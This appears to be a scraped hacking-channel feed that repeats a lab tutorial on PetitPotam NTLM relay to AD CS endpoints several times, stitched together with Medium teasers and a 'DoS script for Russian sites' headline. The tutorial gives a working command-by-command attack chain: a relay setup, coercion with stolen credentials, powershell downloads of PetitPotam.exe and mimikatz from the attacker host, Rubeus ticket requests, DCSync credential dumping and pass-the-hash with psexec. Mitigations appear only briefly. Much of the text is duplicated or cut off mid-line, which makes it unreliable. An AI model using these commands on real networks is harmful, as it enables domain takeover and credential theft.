This is my second write-up about finding a bug in admin panel and how i escalated the severity from Low to criticalContinue reading on Medium » (https://7odamo.medium.com/authentication-bypass-in-admin-panel-ce5ad8d73024?source=rss------bug_bounty-5)
___________________________
@hacking_Attack
@Hacking_Video
___________________________
@hacking_Attack
@Hacking_Video
Medium
Authentication Bypass in Admin Panel
This is my second write-up about finding a bug in admin panel and how i escalated the severity from Low to critical
Less than 24 Hours Left For Infosec Writeups Virtual Cybersecurity Conference
https://infosecwriteups.com/less-than-24-hours-left-for-infosec-writeups-virtual-cybersecurity-conference-e640c76e497b?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
https://infosecwriteups.com/less-than-24-hours-left-for-infosec-writeups-virtual-cybersecurity-conference-e640c76e497b?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
Medium
Less than 24 Hours Left For Infosec Writeups Virtual Cybersecurity Conference
Booked your tickets for IWCON2022 yet?
Booked your tickets for IWCON2022 yet?Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/less-than-24-hours-left-for-infosec-writeups-virtual-cybersecurity-conference-e640c76e497b?source=rss------bug_bounty-5)
___________________________
@hacking_Attack
@Hacking_Video
___________________________
@hacking_Attack
@Hacking_Video
Medium
Less than 24 Hours Left For Infosec Writeups Virtual Cybersecurity Conference
Booked your tickets for IWCON2022 yet?
Authentication Bypass in Admin Panel
This is my second write-up about finding a bug in admin panel and how i escalated the severity from Low to criticalContinue reading on Medium »
Read more...
This is my second write-up about finding a bug in admin panel and how i escalated the severity from Low to criticalContinue reading on Medium »
Read more...
Less than 24 Hours Left For Infosec Writeups Virtual Cybersecurity Conference
Booked your tickets for IWCON2022 yet?Continue reading on InfoSec Write-ups »
Read more...
Booked your tickets for IWCON2022 yet?Continue reading on InfoSec Write-ups »
Read more...
Authentication Bypass in Admin Panel
This is my second write-up about finding a bug in admin panel and how i escalated the severity from Low to criticalContinue reading on Medium »
Read more...
This is my second write-up about finding a bug in admin panel and how i escalated the severity from Low to criticalContinue reading on Medium »
Read more...
Less than 24 Hours Left For Infosec Writeups Virtual Cybersecurity Conference
Booked your tickets for IWCON2022 yet?Continue reading on InfoSec Write-ups »
Read more...
Booked your tickets for IWCON2022 yet?Continue reading on InfoSec Write-ups »
Read more...
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles
Domain Escalation: PetitPotam NTLM Relay to ADCS Endpoints
IntroductionWill Schroeder and Lee Christensen wrote a research paper on this technique which can be referred to here. In ESC8 technique mentioned in the research paper, they talked about an inherent vulnerability in the web interface of CA server with web enrolment service on. An attacker can, therefore, relay the requests from the web interface to request the Domain Controller machine account’s (DC$) certificate and gain escalation+persistence. PetitPotam is one such PoC tool developed by Lionel Gilles (found here) that can coerce or persuade a windows host to authenticate against DC which can be used to request certificates and gain escalation. Table of content* Vulnerability
* Architecture
* Lab Setup
* Attack Demonstration
* Initial Compromise
* Certificate Generation – PetitPotam Python script
* Certificate Generation – PetitPotam.exe
* Certificate Generation – Mimikatz
* Privilege Escalation
* TGT generation
* DCSync attack
* PassTheHash attack
* Mitigation
* Conclusion VulnerabilityAD CS supports several HTTP-based enrollment methods via additional AD CS server roles that administrators can install. These enrolment interfaces are vulnerable to NTLM relay attacks. The web endpoints do not have NTLM relay protections enabled by default and hence, are vulnerable by default. Flow of the vulnerability is as follows:
* The attack coerces/forces a Domain Controller Machine Account (workstation01$ in our case) to authenticate towards our NTLM relay setup (Kali in our case).
* Workstation01$ account authentication request is forwarded to NTLM relay server (kali).
* Workstation01$ account authentication relayed to CA Server or ADCS (Active Directory Certificate Service).
* Generate Certificate
* Use the certificate to perform attacks (like DCSync) to compromise DC1$ (CA server)
How do we force authentication? => If an attacker is patient, he can wait for organic authentication. But we don’t have that much time so we need to force authentication. One such method is the famous “Printer Bug.” But it depends on the print spooler service to be running and vulnerable. Therefore, Lionel Gilles created “PetitPotam” which initially leveraged the vulnerable EfsRpcOpenFileRaw function in MS-EFSR protocol that had an insufficient path check vulnerability. By using this, attackers can make forced/coerced authentications over SMB thus increasing NTLM relay’s capabilities. Since then, many newer functions have been added to the PetitPotam tool. ArchitectureCA server with Web Enrollment – DC1$: 192.168.1.2
Domain Controller – workstation01$: 192.168.1.3
Attacker Kali – Not in domain: 192.168.1.4
Attacker Windows – Not in domain: random IP (non-domain joined but DNS pointing to CA IP) Lab SetupOn the Windows Server where ADCS is already configured, go to the server manager and choose to add roles and features and add the following three roles:
* CA Web Enrolment
* Certificate Enrolment Web Service
* Network Device Enrolment Service
As you can see, on my server (dc1.ignite.local) I have already installed these. I didn’t change any configuration and kept everything to default.
https://blogger.googleusercontent.com/img/a/AVvXsEh_eIRCCKT5AQ5S6g2mmF60D9Uo3bG77PGBBFSOQ7FIWDP-1LV4ZAeNILvTYVAJzdl5lPoTfx07ihqG-JHqKXjgfst24nCwsCC5oeqk52QH8FoCuhT2O01F5PUYcE6KfXxFgF-7FT22545BPzLJNFGYkdGbgd-MIvonugp_MYuY7239gDudHeG58krqwQ=s16000
We can start internet explorer and see on the following link if cert web enrolment is running or not.
http://dc1.ignite.local/certsrv/
https://blogger.googleusercontent.com/img/a/AVvXsEjveHqfeN7WcsXEVaGV5iPvlVmEXw4hJSKpqBt4h344C5-5gL-xPxAYiE_vjlohXinbYyZmhpi-lOtjOOMbOnEP2DtZ-sehtGxnMfQMNwUYkYBQ324ChLog22aYDr91Dye8plqu2ECHwOB0EOK_ZTWTuGK5xEjn8Bpc4Vdqb[...]
___________________________
@hacking_Attack
@Hacking_Video
Domain Escalation: PetitPotam NTLM Relay to ADCS Endpoints
IntroductionWill Schroeder and Lee Christensen wrote a research paper on this technique which can be referred to here. In ESC8 technique mentioned in the research paper, they talked about an inherent vulnerability in the web interface of CA server with web enrolment service on. An attacker can, therefore, relay the requests from the web interface to request the Domain Controller machine account’s (DC$) certificate and gain escalation+persistence. PetitPotam is one such PoC tool developed by Lionel Gilles (found here) that can coerce or persuade a windows host to authenticate against DC which can be used to request certificates and gain escalation. Table of content* Vulnerability
* Architecture
* Lab Setup
* Attack Demonstration
* Initial Compromise
* Certificate Generation – PetitPotam Python script
* Certificate Generation – PetitPotam.exe
* Certificate Generation – Mimikatz
* Privilege Escalation
* TGT generation
* DCSync attack
* PassTheHash attack
* Mitigation
* Conclusion VulnerabilityAD CS supports several HTTP-based enrollment methods via additional AD CS server roles that administrators can install. These enrolment interfaces are vulnerable to NTLM relay attacks. The web endpoints do not have NTLM relay protections enabled by default and hence, are vulnerable by default. Flow of the vulnerability is as follows:
* The attack coerces/forces a Domain Controller Machine Account (workstation01$ in our case) to authenticate towards our NTLM relay setup (Kali in our case).
* Workstation01$ account authentication request is forwarded to NTLM relay server (kali).
* Workstation01$ account authentication relayed to CA Server or ADCS (Active Directory Certificate Service).
* Generate Certificate
* Use the certificate to perform attacks (like DCSync) to compromise DC1$ (CA server)
How do we force authentication? => If an attacker is patient, he can wait for organic authentication. But we don’t have that much time so we need to force authentication. One such method is the famous “Printer Bug.” But it depends on the print spooler service to be running and vulnerable. Therefore, Lionel Gilles created “PetitPotam” which initially leveraged the vulnerable EfsRpcOpenFileRaw function in MS-EFSR protocol that had an insufficient path check vulnerability. By using this, attackers can make forced/coerced authentications over SMB thus increasing NTLM relay’s capabilities. Since then, many newer functions have been added to the PetitPotam tool. ArchitectureCA server with Web Enrollment – DC1$: 192.168.1.2
Domain Controller – workstation01$: 192.168.1.3
Attacker Kali – Not in domain: 192.168.1.4
Attacker Windows – Not in domain: random IP (non-domain joined but DNS pointing to CA IP) Lab SetupOn the Windows Server where ADCS is already configured, go to the server manager and choose to add roles and features and add the following three roles:
* CA Web Enrolment
* Certificate Enrolment Web Service
* Network Device Enrolment Service
As you can see, on my server (dc1.ignite.local) I have already installed these. I didn’t change any configuration and kept everything to default.
https://blogger.googleusercontent.com/img/a/AVvXsEh_eIRCCKT5AQ5S6g2mmF60D9Uo3bG77PGBBFSOQ7FIWDP-1LV4ZAeNILvTYVAJzdl5lPoTfx07ihqG-JHqKXjgfst24nCwsCC5oeqk52QH8FoCuhT2O01F5PUYcE6KfXxFgF-7FT22545BPzLJNFGYkdGbgd-MIvonugp_MYuY7239gDudHeG58krqwQ=s16000
We can start internet explorer and see on the following link if cert web enrolment is running or not.
http://dc1.ignite.local/certsrv/
https://blogger.googleusercontent.com/img/a/AVvXsEjveHqfeN7WcsXEVaGV5iPvlVmEXw4hJSKpqBt4h344C5-5gL-xPxAYiE_vjlohXinbYyZmhpi-lOtjOOMbOnEP2DtZ-sehtGxnMfQMNwUYkYBQ324ChLog22aYDr91Dye8plqu2ECHwOB0EOK_ZTWTuGK5xEjn8Bpc4Vdqb[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles
Domain Escalation: PetitPotam NTLM Relay to ADCS Endpoints
Explore how PetitPotam NTLM relay exploits ADCS to escalate domain privileges using certificate-based attacks.
Hacking Articles Tips Tricks Videos Tutorials
Hacking Articles Domain Escalation: PetitPotam NTLM Relay to ADCS Endpoints IntroductionWill Schroeder and Lee Christensen wrote a research paper on this technique which can be referred to here. In ESC8 technique mentioned in the research paper, they talked…
UG4_S137j3019fQoWjoug=s16000
And finally, you need to set up a separate DC account on a different machine as I have. In most of the scenarios, DC and CA servers are the same but just for the sake of simplicity, I have made them different. As you can see the DC machine has a DC account set up called “Workstation01” which is in the DC group.
https://blogger.googleusercontent.com/img/a/AVvXsEjMs7dBLNd8Bjse-DqLzxAJ4O3FEvpt43kq7vYX1hc-J_LO0goObD6Ck7Mv_R4d5y5T_0pwGgZ2ye8MrWHQ45DA0wLlFGLH5tWx_9d1OoerTqmE-85E3sDhhl9ZNpDD0AE1cGGho-7-esOcN480mdUORpbDe_lAi61rcOSPqvSrFqHCZC_vZ0wRmDtFjg=s16000 Attack DemonstrationThe demonstration is divided into 5 parts: Initial compromise, 3 methods to request CA, and Escalation. Initial CompromiseSince this is a domain escalation attack, we first need access to the victim system. Here, I have compromised a computer that has a workstation01$ account on it. It is clear that this system has a DC machine account on it which means the system belongs to a DC but we do not have access to DC.
net group “domain controllers” /domain
https://blogger.googleusercontent.com/img/a/AVvXsEjHLcIBujikTbawvz8BSA-eEfeatY-wD-lMWIkGDYUyrhfZSGqqe_c7HHAArFdslaMWDaLX4PqoOJULtwOqxCdMqGNhqFUH7MQj4QM3wwAruUEgE31Buz2u2xu6opkcFZfbu2PS9HkerWdGw7YxLvZ9VWycJJGnOzf5uTlhbzkqUIN2rMUP6zYNAY6dDg=s16000
Our aim: generate DC certificate and authenticate CA server against it and escalate privileges to DC.
Compromised Credentials: Harshit:Password@1
Before we generate a certificate for this DC account, we need to set up our NTLM relay. We can do this using Impacket’s python script ntlmrelayx.py
ntlmrelayx.py -t http://192.168.1.2/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
https://blogger.googleusercontent.com/img/a/AVvXsEjGrlg86Pgw_BUicyoS28frc43HC2y1eG-EOL64a3MH2OUbs3zhXHydmji0ujRzgydUmC-GKGNF17NdueKmuUA0f5xie5e2koJYvW7htmd1Xzo9hjQHRPdvH9r35YauotKQAW_bkvRypEmnD54_aj4-xs0ycnUq0LqdFw4F44eg5R7SuYQZJgLMe5NG2g=s16000 Certificate Generation – PetitPotam Python scriptPetitPotam can be downloaded from the official github repo here. To run the script is quite easy, you just need to specify the domain, credentials of the compromised user and IP of NTLM relayer (kali) followed by IP of the DC
git clone https://github.com/topotam/PetitPotam
cd PetitPotam
python3 PetitPotam.py -d ignite.local -u harshit -p Password@1 192.168.1.4 192.168.1.3
https://blogger.googleusercontent.com/img/a/AVvXsEjsOiGQQlc7_iXz9QSJiXrqWxZhJykCd5zdAdqrE5nPkGqd2CIFgYL5yIKO62GF0g8_xNXzP_giRAcwr2MsnHtnNQ-TlwuvxHADvG7tDHKctE3zLLtPPapF_wvuZEqF9aWP90ycOi5Se8k_tyu9vSeU2WLjpBixlYXtgNZcnSiWjV884CxdQiE8wG_85A=s16000
If everything goes well, you would see a screenshot like above with the script stating Sending EfsRpcOpenFileRaw and Attack Successful!
This should have generated the certificate for DC machine account Workstation01$ in the NTLM relay console. A few things to observe here are:
* Authentication succeeded: means that Cert Web Enrol has been called for a machine account (vulnerability in the Windows API for web enrolment) by providing authentication for a low priv user.
* Attack from 192.168.1.3 controlled, attacking target 192.168.1.2: means that the relay has now successfully forwarded the request to CA server and a certificate be generated for the DC account workstation01$
You can copy this certificate in a text file.
https://blogger.googleusercontent.com/img/a/AVvXsEjqjp5467OaJfvEqm0T5NZ04sI-IeBXOSjqwdvHlPk_g8tKPr7d19gJeaNAp0CMnv46VHeWCDqIz5MrOdjQK-dXoo78gh8yegXeM4Ct9G2nIx_qostLdVO-DbhloSUIDtn9sEuEiCJFhU1IpUVW6IixY-mcR4zJjk39-28ZC82_4AHV_NNQLDQwgDhpbw=s16000
Before we move on to the actual priv ESC methods, I’d like to show you two more methods to do the same as what we did just now. Certificate Generation – PetitPotam.exeThe official GitHub repo also comes with the PetitPotam.exe file. You can upload this file to the victim server and execute and get the same results[...]
___________________________
@hacking_Attack
@Hacking_Video
And finally, you need to set up a separate DC account on a different machine as I have. In most of the scenarios, DC and CA servers are the same but just for the sake of simplicity, I have made them different. As you can see the DC machine has a DC account set up called “Workstation01” which is in the DC group.
https://blogger.googleusercontent.com/img/a/AVvXsEjMs7dBLNd8Bjse-DqLzxAJ4O3FEvpt43kq7vYX1hc-J_LO0goObD6Ck7Mv_R4d5y5T_0pwGgZ2ye8MrWHQ45DA0wLlFGLH5tWx_9d1OoerTqmE-85E3sDhhl9ZNpDD0AE1cGGho-7-esOcN480mdUORpbDe_lAi61rcOSPqvSrFqHCZC_vZ0wRmDtFjg=s16000 Attack DemonstrationThe demonstration is divided into 5 parts: Initial compromise, 3 methods to request CA, and Escalation. Initial CompromiseSince this is a domain escalation attack, we first need access to the victim system. Here, I have compromised a computer that has a workstation01$ account on it. It is clear that this system has a DC machine account on it which means the system belongs to a DC but we do not have access to DC.
net group “domain controllers” /domain
https://blogger.googleusercontent.com/img/a/AVvXsEjHLcIBujikTbawvz8BSA-eEfeatY-wD-lMWIkGDYUyrhfZSGqqe_c7HHAArFdslaMWDaLX4PqoOJULtwOqxCdMqGNhqFUH7MQj4QM3wwAruUEgE31Buz2u2xu6opkcFZfbu2PS9HkerWdGw7YxLvZ9VWycJJGnOzf5uTlhbzkqUIN2rMUP6zYNAY6dDg=s16000
Our aim: generate DC certificate and authenticate CA server against it and escalate privileges to DC.
Compromised Credentials: Harshit:Password@1
Before we generate a certificate for this DC account, we need to set up our NTLM relay. We can do this using Impacket’s python script ntlmrelayx.py
ntlmrelayx.py -t http://192.168.1.2/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
https://blogger.googleusercontent.com/img/a/AVvXsEjGrlg86Pgw_BUicyoS28frc43HC2y1eG-EOL64a3MH2OUbs3zhXHydmji0ujRzgydUmC-GKGNF17NdueKmuUA0f5xie5e2koJYvW7htmd1Xzo9hjQHRPdvH9r35YauotKQAW_bkvRypEmnD54_aj4-xs0ycnUq0LqdFw4F44eg5R7SuYQZJgLMe5NG2g=s16000 Certificate Generation – PetitPotam Python scriptPetitPotam can be downloaded from the official github repo here. To run the script is quite easy, you just need to specify the domain, credentials of the compromised user and IP of NTLM relayer (kali) followed by IP of the DC
git clone https://github.com/topotam/PetitPotam
cd PetitPotam
python3 PetitPotam.py -d ignite.local -u harshit -p Password@1 192.168.1.4 192.168.1.3
https://blogger.googleusercontent.com/img/a/AVvXsEjsOiGQQlc7_iXz9QSJiXrqWxZhJykCd5zdAdqrE5nPkGqd2CIFgYL5yIKO62GF0g8_xNXzP_giRAcwr2MsnHtnNQ-TlwuvxHADvG7tDHKctE3zLLtPPapF_wvuZEqF9aWP90ycOi5Se8k_tyu9vSeU2WLjpBixlYXtgNZcnSiWjV884CxdQiE8wG_85A=s16000
If everything goes well, you would see a screenshot like above with the script stating Sending EfsRpcOpenFileRaw and Attack Successful!
This should have generated the certificate for DC machine account Workstation01$ in the NTLM relay console. A few things to observe here are:
* Authentication succeeded: means that Cert Web Enrol has been called for a machine account (vulnerability in the Windows API for web enrolment) by providing authentication for a low priv user.
* Attack from 192.168.1.3 controlled, attacking target 192.168.1.2: means that the relay has now successfully forwarded the request to CA server and a certificate be generated for the DC account workstation01$
You can copy this certificate in a text file.
https://blogger.googleusercontent.com/img/a/AVvXsEjqjp5467OaJfvEqm0T5NZ04sI-IeBXOSjqwdvHlPk_g8tKPr7d19gJeaNAp0CMnv46VHeWCDqIz5MrOdjQK-dXoo78gh8yegXeM4Ct9G2nIx_qostLdVO-DbhloSUIDtn9sEuEiCJFhU1IpUVW6IixY-mcR4zJjk39-28ZC82_4AHV_NNQLDQwgDhpbw=s16000
Before we move on to the actual priv ESC methods, I’d like to show you two more methods to do the same as what we did just now. Certificate Generation – PetitPotam.exeThe official GitHub repo also comes with the PetitPotam.exe file. You can upload this file to the victim server and execute and get the same results[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
UG4_S137j3019fQoWjoug=s16000 And finally, you need to set up a separate DC account on a different machine as I have. In most of the scenarios, DC and CA servers are the same but just for the sake of simplicity, I have made them different. As you can see…
. If you see a slight pause and then Attack success!!! Status, you have generated the DC account’s certificate. In the PetitPotam.exe command, “1” refers to the triggering of the exploit using default EfsRpcOpenFileRaw function vulnerability. There are other vulnerable functions added by the author too.
powershell wget 192.168.1.4/PetitPotam.exe -O PetitPotam.exe
PetitPotam.exe 192.168.1.4 192.168.1.3 1
https://blogger.googleusercontent.com/img/a/AVvXsEgjDWLInv9WuN82aOnVr1xq-MtC5TKb88kR-BA9_hGy74I7_aUYI9BFZz4LesE-YhDejhNuQT05nYgJmYSAojdX_5nPTQHT5eLBztkYYGMVEDo9a6SFuv1s3NoPNqq5A-zNSlqg2X1HkRmS7hEkkllOIGdn-YZIyoH6GUGDlh_62L4qnoltTtfgyzmnig=s16000 Certificate Generation – MimikatzAs people of culture, we like to add new exploits to our favourite mimikatz. EfsRpcOpenFileRaw function vulnerability can be triggered using mimikatz too. We just need to upload this to our victim’s server and execute the following command.
/connect: NTLM relay IP
/server: dc_account.domain.fqdn
powershell wget http://192.168.1.4/mimikatz.exe -O mimikatz.exe
misc::efs /server:workstation01.ignite.local /connect:192.168.1.4
https://blogger.googleusercontent.com/img/a/AVvXsEjSuAxDXsnax2ywjoMHavevMELZyahAU4bzPiq9kSZf5nBrzeNllEyfGlh-KMHYI_XKPejsJxA28hSQJfM2JERhxrKocIf2pup4bmGRlPnflP-T6txFM36I03JaxuclUA0gYXJwuNMAHalJrrTX-h6o3ond62CqgntsTvOPR1pfK6AOlJxsYEr47zjWlg=s16000
All of the above methods shall yield the same certificate as result. Now, let’s escalate our privileges. Privilege EscalationTGT generation
We need to take a new Windows 10 system that is not in the domain to demonstrate this practical. We set up a local admin account on this system and change our DNS to point to the DC like so:
https://blogger.googleusercontent.com/img/a/AVvXsEj6S9txOEFeQr4K2PQKPcUSt9dcf8tSakgJ_A6b3ViciR2cS0N4ANdbx-X7ipAkOtlUJsRttrs4bUdBfIZyILhyq14UVkQ-KzzJvNhQjGvf7PRLK_2SzxhDqtcK9HF7O3cZorHPC_PI9Eqk-2cb96nySLII4iOOvkjxzll0yGDBdgioMpt1H5ckcT_Obw=s16000
Now, since we have our DC certificate with us, we need to translate this into much more efficient means of access. Let’s generate a TGT using Rubeus first. Asktgt module in Rubeus can do that while taking the generated certificate as a command-line input. The command is as follows:
.\Rubeus.exe asktgt /outfile:kirbi /dc:192.168.1.2 /domain:ignite.local /user:workstation01 /ptt /certificate:MIIRdQIBAz.....
Kirbi is a base64 encoded TGT format used by Rubeus.
https://blogger.googleusercontent.com/img/a/AVvXsEhy3n-BVVLR8EwZ70UNHaeg8MwoH1xIFQ1cxVa0esX_VAhMznHHeqkUvkTQBly0L01d_ZImhEvhB2b4kdXy39vif02Akfd0hVVryBCPUX781QFxocEHI6M3PmY8fhZz0EogPLYT3pBGMw111IZwNiashdr-eRSB5oZNMKESxoG4UbyO9kOW-PhVQnLOoA=s16000
As you can see with the klist command, a TGT has been created and saved in the system for further use.
https://blogger.googleusercontent.com/img/a/AVvXsEjqS1Ln7afQ1jpNuxINQ7fAIyfmhYhlln8ivzpAXtGBlrru-u5qR2QgU7lvtDSvX2TvOKJYBhThzFLD50l2bppWKOpLOIZi4DlhDp8-YCjhyFYwkg0M5CHuyDYnUofqXKiOPVyI29Y6WwHd4VhYH69orFrDoPQqgyiKVLExxW3zuJw_RRUps19KWJx0BA=s16000
DCSync Attack
Using mimikatz, we can leverage this ticket to conduct DCSync attack. First, let’s dump the krbtgt account’s hashes.
lsadump::dcsync /domain:ignite.local /user:krbtgt
https://blogger.googleusercontent.com/img/a/AVvXsEgmUbHqlJTtJl1OkQp79tVe29BJ1UEEJrkvVJDB6h9Q88aqndlwidhuvAwI3gmW15Vw3JGDxYrbgFBAIU9JgT-K0NvSWlET1rkv454LkRS3NfxuJAM2yXFahpBF7MFUR5pM8f4on2cOBK3MjP6QK-SnhQjkJKYekI8c4ojrWYQ9EmFvvTE7wEmUm-YczA=s16000
Now, an attacker can use these credentials and SID provided to perform a Golden Ticket attack (for persistence). Details can be found here. But we are concerned with CA Server’s (DC1$ machine account) admin access at the moment. Let’s run DCSync one more time on the administrator account.
lsadump::dcsync /domain:ignite.local /user:administrator
https://blogger.googleusercontent.com/img/a/AVvXsEgKCnXpZ9q1pCp2ckImKx22QvmXjrWPtEqlijePcn0i7dR6Y3rvlNcrOZ5JzpCu2h7QPVC3xpq1Pu1-J3b655MiOGQHxFAtPzLK0W8[...]
___________________________
@hacking_Attack
@Hacking_Video
powershell wget 192.168.1.4/PetitPotam.exe -O PetitPotam.exe
PetitPotam.exe 192.168.1.4 192.168.1.3 1
https://blogger.googleusercontent.com/img/a/AVvXsEgjDWLInv9WuN82aOnVr1xq-MtC5TKb88kR-BA9_hGy74I7_aUYI9BFZz4LesE-YhDejhNuQT05nYgJmYSAojdX_5nPTQHT5eLBztkYYGMVEDo9a6SFuv1s3NoPNqq5A-zNSlqg2X1HkRmS7hEkkllOIGdn-YZIyoH6GUGDlh_62L4qnoltTtfgyzmnig=s16000 Certificate Generation – MimikatzAs people of culture, we like to add new exploits to our favourite mimikatz. EfsRpcOpenFileRaw function vulnerability can be triggered using mimikatz too. We just need to upload this to our victim’s server and execute the following command.
/connect: NTLM relay IP
/server: dc_account.domain.fqdn
powershell wget http://192.168.1.4/mimikatz.exe -O mimikatz.exe
misc::efs /server:workstation01.ignite.local /connect:192.168.1.4
https://blogger.googleusercontent.com/img/a/AVvXsEjSuAxDXsnax2ywjoMHavevMELZyahAU4bzPiq9kSZf5nBrzeNllEyfGlh-KMHYI_XKPejsJxA28hSQJfM2JERhxrKocIf2pup4bmGRlPnflP-T6txFM36I03JaxuclUA0gYXJwuNMAHalJrrTX-h6o3ond62CqgntsTvOPR1pfK6AOlJxsYEr47zjWlg=s16000
All of the above methods shall yield the same certificate as result. Now, let’s escalate our privileges. Privilege EscalationTGT generation
We need to take a new Windows 10 system that is not in the domain to demonstrate this practical. We set up a local admin account on this system and change our DNS to point to the DC like so:
https://blogger.googleusercontent.com/img/a/AVvXsEj6S9txOEFeQr4K2PQKPcUSt9dcf8tSakgJ_A6b3ViciR2cS0N4ANdbx-X7ipAkOtlUJsRttrs4bUdBfIZyILhyq14UVkQ-KzzJvNhQjGvf7PRLK_2SzxhDqtcK9HF7O3cZorHPC_PI9Eqk-2cb96nySLII4iOOvkjxzll0yGDBdgioMpt1H5ckcT_Obw=s16000
Now, since we have our DC certificate with us, we need to translate this into much more efficient means of access. Let’s generate a TGT using Rubeus first. Asktgt module in Rubeus can do that while taking the generated certificate as a command-line input. The command is as follows:
.\Rubeus.exe asktgt /outfile:kirbi /dc:192.168.1.2 /domain:ignite.local /user:workstation01 /ptt /certificate:MIIRdQIBAz.....
Kirbi is a base64 encoded TGT format used by Rubeus.
https://blogger.googleusercontent.com/img/a/AVvXsEhy3n-BVVLR8EwZ70UNHaeg8MwoH1xIFQ1cxVa0esX_VAhMznHHeqkUvkTQBly0L01d_ZImhEvhB2b4kdXy39vif02Akfd0hVVryBCPUX781QFxocEHI6M3PmY8fhZz0EogPLYT3pBGMw111IZwNiashdr-eRSB5oZNMKESxoG4UbyO9kOW-PhVQnLOoA=s16000
As you can see with the klist command, a TGT has been created and saved in the system for further use.
https://blogger.googleusercontent.com/img/a/AVvXsEjqS1Ln7afQ1jpNuxINQ7fAIyfmhYhlln8ivzpAXtGBlrru-u5qR2QgU7lvtDSvX2TvOKJYBhThzFLD50l2bppWKOpLOIZi4DlhDp8-YCjhyFYwkg0M5CHuyDYnUofqXKiOPVyI29Y6WwHd4VhYH69orFrDoPQqgyiKVLExxW3zuJw_RRUps19KWJx0BA=s16000
DCSync Attack
Using mimikatz, we can leverage this ticket to conduct DCSync attack. First, let’s dump the krbtgt account’s hashes.
lsadump::dcsync /domain:ignite.local /user:krbtgt
https://blogger.googleusercontent.com/img/a/AVvXsEgmUbHqlJTtJl1OkQp79tVe29BJ1UEEJrkvVJDB6h9Q88aqndlwidhuvAwI3gmW15Vw3JGDxYrbgFBAIU9JgT-K0NvSWlET1rkv454LkRS3NfxuJAM2yXFahpBF7MFUR5pM8f4on2cOBK3MjP6QK-SnhQjkJKYekI8c4ojrWYQ9EmFvvTE7wEmUm-YczA=s16000
Now, an attacker can use these credentials and SID provided to perform a Golden Ticket attack (for persistence). Details can be found here. But we are concerned with CA Server’s (DC1$ machine account) admin access at the moment. Let’s run DCSync one more time on the administrator account.
lsadump::dcsync /domain:ignite.local /user:administrator
https://blogger.googleusercontent.com/img/a/AVvXsEgKCnXpZ9q1pCp2ckImKx22QvmXjrWPtEqlijePcn0i7dR6Y3rvlNcrOZ5JzpCu2h7QPVC3xpq1Pu1-J3b655MiOGQHxFAtPzLK0W8[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
. If you see a slight pause and then Attack success!!! Status, you have generated the DC account’s certificate. In the PetitPotam.exe command, “1” refers to the triggering of the exploit using default EfsRpcOpenFileRaw function vulnerability. There are other…
smKA77q6kaIkf43lCaTU9SOQPGFu5g-NdqcqrVbbbtueYuSIXsuFPICVog93UEwEjSaPl_yxD1ev_NDHdY7WE4Q=s16000
As you can see, we have now obtained the NTLM hash of the Administrator account. Let us use psexec to gain a healthy shell now by conducting a PassTheHash attack.
PassTheHash Attack
To conduct PassTheHash, we will use Impacket’s psexec.py implementation and the following command:
psexec.py -hashes :32196b56ffe6f45e294117b91a83bf38 ignite.local/administrator@192.168.1.2
And voila! That’s it. You can see that we have now compromised CA Server’s DC account (DC1$) just by leveraging the ADCS web enrolment vulnerability and creds of a low priv user.
https://blogger.googleusercontent.com/img/a/AVvXsEh2yriqioqqHWU7ekKxnMW4hlfJuTixo4x3ElJX40t4d2YAZlNL6iSWRAKvGVr87LxS5Ih0IVM2dwLAIyaV6lFtE1uqU7EQ6AAZE1UNWp2MwA-jbq_uy5eGtRYDgGMCv3ZtkPhFEaIh_LyLUNK2dACnHmeZGXW7oSUg6yazA-qKyAzSqX__984_elWZxQ=s16000 MitigationMicrosoft has rolled out a detailed advisory on the necessary patching mechanism which can be found here. But I’ll sum it up in short sentences here:
* Enable require SSL in the IIS manager->default sites->certsrv option
* Enable extended protection (under certsrv->authentication)
* Disable NTLM for IIS on ADCS server by setting certsrv->providers->negotiate:kerberos ConclusionCertified-Pre Owned is a valuable white paper focusing on various ADCS vulnerabilities and through the means of our blog, we aim to create awareness about these attacks so that organisations can understand, implement and patch such unknown and unobserved weaknesses. Hope you liked the article. Thanks for reading.
Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here
The post Domain Escalation: PetitPotam NTLM Relay to ADCS Endpoints appeared first on Hacking Articles.
___________________________
@hacking_Attack
@Hacking_Video
As you can see, we have now obtained the NTLM hash of the Administrator account. Let us use psexec to gain a healthy shell now by conducting a PassTheHash attack.
PassTheHash Attack
To conduct PassTheHash, we will use Impacket’s psexec.py implementation and the following command:
psexec.py -hashes :32196b56ffe6f45e294117b91a83bf38 ignite.local/administrator@192.168.1.2
And voila! That’s it. You can see that we have now compromised CA Server’s DC account (DC1$) just by leveraging the ADCS web enrolment vulnerability and creds of a low priv user.
https://blogger.googleusercontent.com/img/a/AVvXsEh2yriqioqqHWU7ekKxnMW4hlfJuTixo4x3ElJX40t4d2YAZlNL6iSWRAKvGVr87LxS5Ih0IVM2dwLAIyaV6lFtE1uqU7EQ6AAZE1UNWp2MwA-jbq_uy5eGtRYDgGMCv3ZtkPhFEaIh_LyLUNK2dACnHmeZGXW7oSUg6yazA-qKyAzSqX__984_elWZxQ=s16000 MitigationMicrosoft has rolled out a detailed advisory on the necessary patching mechanism which can be found here. But I’ll sum it up in short sentences here:
* Enable require SSL in the IIS manager->default sites->certsrv option
* Enable extended protection (under certsrv->authentication)
* Disable NTLM for IIS on ADCS server by setting certsrv->providers->negotiate:kerberos ConclusionCertified-Pre Owned is a valuable white paper focusing on various ADCS vulnerabilities and through the means of our blog, we aim to create awareness about these attacks so that organisations can understand, implement and patch such unknown and unobserved weaknesses. Hope you liked the article. Thanks for reading.
Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here
The post Domain Escalation: PetitPotam NTLM Relay to ADCS Endpoints appeared first on Hacking Articles.
___________________________
@hacking_Attack
@Hacking_Video
Less than 24 Hours Left For Infosec Writeups Virtual Cybersecurity Conference
Booked your tickets for IWCON2022 yet?
Read more...
Booked your tickets for IWCON2022 yet?
Read more...
hacking: security in practice
Simple HTML DoS Script for Russian Sites
___________________________
@hacking_Attack
@Hacking_Video
